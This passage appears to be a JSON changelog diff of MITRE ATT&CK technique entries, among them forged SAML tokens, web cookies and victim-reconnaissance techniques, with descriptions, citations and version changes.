be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).",
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+ "url": "https://attack.mitre.org/techniques/T1222/001",
+ "external_id": "T1222.001"
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+ "source_name": "Hybrid Analysis Icacls1 June 2018",
+ "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
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+ "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
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+ "source_name": "Microsoft Access Control Lists May 2018",
+ "description": "M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved February 4, 2020.",
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+ },
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+ "source_name": "Microsoft DACL May 2018",
+ "description": "Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018.",
+ "url": "https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces"
+ },
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+ "source_name": "EventTracker File Permissions Feb 2014",
+ "description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.",
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+ "modified": "2025-10-24 17:49:37.207000+00:00",
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+ "phase_name": "impact"
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+ "external_id": "T1495"
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+ "source_name": "cisa_malware_orgs_ukraine",
+ "description": "CISA. (2022, April 28). Alert (AA22-057A) Update: Destructive Malware Targeting Organizations in Ukraine. Retrieved July 29, 2022.",
+ "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-057a"
+ },
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+ "source_name": "dhs_threat_to_net_devices",
+ "description": "U.S. Department of Homeland Security. (2016, August 30). The Increasing Threat to Network Infrastructure Devices and Recommended Mitigations. Retrieved July 29, 2022.",
+ "url": "https://cyber.dhs.gov/assets/report/ar-16-20173.pdf"
+ },
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+ "source_name": "MITRE Trustworthy Firmware Measurement",
+ "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.",
+ "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research"
+ },
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+ "source_name": "Symantec Chernobyl W95.CIH",
+ "description": "Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019.",
+ "url": "https://web.archive.org/web/20190508170055/https://www.symantec.com/security-center/writeup/2000-122010-2655-99"
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+ "external_id": "T1606"
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+ "source_name": "AWS Temporary Security Credentials",
+ "description": "AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022.",
+ "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html"
+ },
+ {
+ "source_name": "Unit 42 Mac Crypto Cookies January 2019",
+ "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.",
+ "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"
+ },
+ {
+ "source_name": "GitHub AWS-ADFS-Credential-Generator",
+ "description": "Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved September 27, 2024.",
+ "url": "https://github.com/pvanbuijtene/aws-adfs-credential-generator"
+ },
+ {
+ "source_name": "Microsoft SolarWinds Customer Guidance",
+ "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.",
+ "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
+ },
+ {
+ "source_name": "Pass The Cookie",
+ "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
+ "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html"
+ },
+ {
+ "source_name": "Zimbra Preauth",
+ "description": "Zimbra. (2023, March 16). Preauth. Retrieved May 31, 2023.",
+ "url": "https://wiki.zimbra.com/wiki/Preauth"
+ }
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+ "url": "https://attack.mitre.org/techniques/T1606/002",
+ "external_id": "T1606.002"
+ },
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+ "source_name": "Microsoft SolarWinds Steps",
+ "description": "Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020.",
+ "url": "https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/"
+ },
+ {
+ "source_name": "Microsoft SAML Token Lifetimes",
+ "description": "Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020.",
+ "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes"
+ },
+ {
+ "source_name": "Microsoft SolarWinds Customer Guidance",
+ "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.",
+ "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
+ },
+ {
+ "source_name": "Cyberark Golden SAML",
+ "description": "Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020.",
+ "url": "https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"
+ },
+ {
+ "source_name": "Sygnia Golden SAML",
+ "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved November 17, 2024.",
+ "url": "https://www.sygnia.co/threat-reports-and-advisories/golden-saml-attack/"
+ }
+ ],
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+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0148: Detection Strategy for Forged SAML Tokens"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-12-17 02:14:34.178000+00:00",
+ "modified": "2025-10-24 17:49:04.036000+00:00",
+ "name": "Web Cookies",
+ "description": "Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.\n\nAdversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.\n\nOnce forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1606/001",
+ "external_id": "T1606.001"
+ },
+ {
+ "source_name": "Volexity SolarWinds",
+ "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.",
+ "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"
+ },
+ {
+ "source_name": "Unit 42 Mac Crypto Cookies January 2019",
+ "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.",
+ "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"
+ },
+ {
+ "source_name": "Pass The Cookie",
+ "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
+ "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Jack Burns, HubSpot"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows",
+ "SaaS",
+ "IaaS"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Web Credential: Web Credential Usage\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:04.036000+00:00\", \"old_value\": \"2025-04-15 23:20:22.744000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1047: Audit",
+ "M1054: Software Configuration"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0006: Web Credential (Web Credential Usage)",
+ "DS0028: Logon Session (Logon Session Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0171: Detection Strategy for Forged Web Cookies"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-02 16:39:33.966000+00:00",
+ "modified": "2025-10-24 17:48:21.583000+00:00",
+ "name": "Gather Victim Host Information",
+ "description": "Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).\n\nAdversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary\u2019s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.(Citation: TrellixQakbot)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1592",
+ "external_id": "T1592"
+ },
+ {
+ "source_name": "ATT ScanBox",
+ "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
+ "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
+ },
+ {
+ "source_name": "TrellixQakbot",
+ "description": "Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved August 1, 2024.",
+ "url": "https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/"
+ },
+ {
+ "source_name": "ThreatConnect Infrastructure Dec 2020",
+ "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
+ "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Sam Seabrook, Duke Energy"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:21.583000+00:00\", \"old_value\": \"2025-04-15 22:37:32.347000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0035: Internet Scan (Response Content)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0826: Detection of Gather Victim Host Information"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-02 16:47:16.719000+00:00",
+ "modified": "2025-10-24 17:48:58.431000+00:00",
+ "name": "Client Configurations",
+ "description": "Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1592/004",
+ "external_id": "T1592.004"
+ },
+ {
+ "source_name": "ATT ScanBox",
+ "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
+ "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
+ },
+ {
+ "source_name": "ThreatConnect Infrastructure Dec 2020",
+ "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
+ "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:58.431000+00:00\", \"old_value\": \"2025-04-15 21:57:34.604000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0035: Internet Scan (Response Content)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0820: Detection of Client Configurations"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-02 16:46:42.537000+00:00",
+ "modified": "2025-10-24 17:49:16.957000+00:00",
+ "name": "Firmware",
+ "description": "Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1592/003",
+ "external_id": "T1592.003"
+ },
+ {
+ "source_name": "ArsTechnica Intel",
+ "description": "Goodin, D. & Salter, J. (2020, August 6). More than 20GB of Intel source code and proprietary data dumped online. Retrieved October 20, 2020.",
+ "url": "https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.0",
+ "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:16.957000+00:00\", \"old_value\": \"2025-04-15 22:36:31.208000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
+ "previous_version": "1.0",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0818: Detection of Firmware"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-02 16:40:47.488000+00:00",
+ "modified": "2025-10-24 17:48:32.066000+00:00",
+ "name": "Hardware",
+ "description": "Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1592/001",
+ "external_id": "T1592.001"
+ },
+ {
+ "source_name": "ATT ScanBox",
+ "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
+ "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
+ },
+ {
+ "source_name": "ThreatConnect Infrastructure Dec 2020",
+ "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
+ "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:32.066000+00:00\", \"old_value\": \"2025-04-15 22:39:29.396000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0035: Internet Scan (Response Content)"
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+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0887: Detection of Hardware"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-02 14:54:59.263000+00:00",
+ "modified": "2025-10-24 17:48:47.303000+00:00",
+ "name": "Gather Victim Identity Information",
+ "description": "Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames.(Citation: GrimBlog UsernameEnum)(Citation: Obsidian SSPR Abuse 2023) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
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+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1589",
+ "external_id": "T1589"
+ },
+ {
+ "source_name": "OPM Leak",
+ "description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.",
+ "url": "https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/"
+ },
+ {
+ "source_name": "Detectify Slack Tokens",
